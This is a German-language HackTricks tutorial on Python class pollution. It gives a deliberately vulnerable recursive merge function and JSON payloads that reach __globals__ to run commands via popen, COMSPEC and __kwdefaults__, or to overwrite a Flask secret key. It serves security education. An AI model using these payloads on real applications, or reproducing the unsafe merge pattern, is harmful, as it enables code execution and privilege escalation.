Klassenverschmutzung (Python's Prototype Pollution)
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegendes Beispiel
Überprüfen Sie, wie es möglich ist, Klassen von Objekten mit Zeichenfolgen zu verschmutzen:
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
Grundlegendes Schwachstellenbeispiel
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
Gadget-Beispiele
Erstellen eines Standardwerts für Klassenattribute zu RCE (subprocess)
from os import popen
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class
class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class
def execute_command(self):
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"__class__":{
"__base__":{
"__base__":{
"custom_command": "whoami"
}
}
}
}
recruiter_emp = Recruiter()
system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command())
#> [!] Executing: "echo Hello there", output: "Hello there"
# Create default value for Employee.custom_command
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command())
#> [!] Executing: "whoami", output: "abdulrah33m"
Verschmutzung anderer Klassen und globaler Variablen durch globals
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
Willkürliche Unterprozessausführung
import subprocess, json
class Employee:
def __init__(self):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
# Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
Überschreiben von __kwdefaults__
__kwdefaults__
ist ein spezielles Attribut aller Funktionen, basierend auf der Python Dokumentation, es ist eine „Zuordnung von Standardwerten für nur-Schlüsselwort-Parameter“. Das Verunreinigen dieses Attributs ermöglicht es uns, die Standardwerte der nur-Schlüsselwort-Parameter einer Funktion zu steuern, dies sind die Parameter der Funktion, die nach * oder *args kommen.
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
Überschreiben des Flask-Geheimnisses über Dateien hinweg
Wenn Sie also eine Klassenverschmutzung über ein Objekt durchführen können, das in der Haupt-Python-Datei des Webs definiert ist, aber dessen Klasse in einer anderen Datei als der Hauptdatei definiert ist. Denn um auf __globals__ in den vorherigen Payloads zuzugreifen, müssen Sie auf die Klasse des Objekts oder die Methoden der Klasse zugreifen, werden Sie in der Lage sein, auf die Globals in dieser Datei zuzugreifen, aber nicht in der Hauptdatei.
Daher werden Sie nicht in der Lage sein, auf das globale Flask-App-Objekt zuzugreifen, das den Geheimschlüssel auf der Hauptseite definiert:
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
In diesem Szenario benötigen Sie ein Gadget, um Dateien zu durchlaufen, um auf das Hauptobjekt app.secret_key
zuzugreifen, um den Flask-Geheimschlüssel zu ändern und in der Lage zu sein, Privilegien zu eskalieren, indem Sie diesen Schlüssel kennen.
Eine Payload wie diese aus diesem Bericht:
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
Verwenden Sie diese Payload, um app.secret_key
zu ändern (der Name in Ihrer App könnte anders sein), um neue und privilegiertere Flask-Cookies signieren zu können.
Überprüfen Sie auch die folgende Seite für weitere schreibgeschützte Gadgets:
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.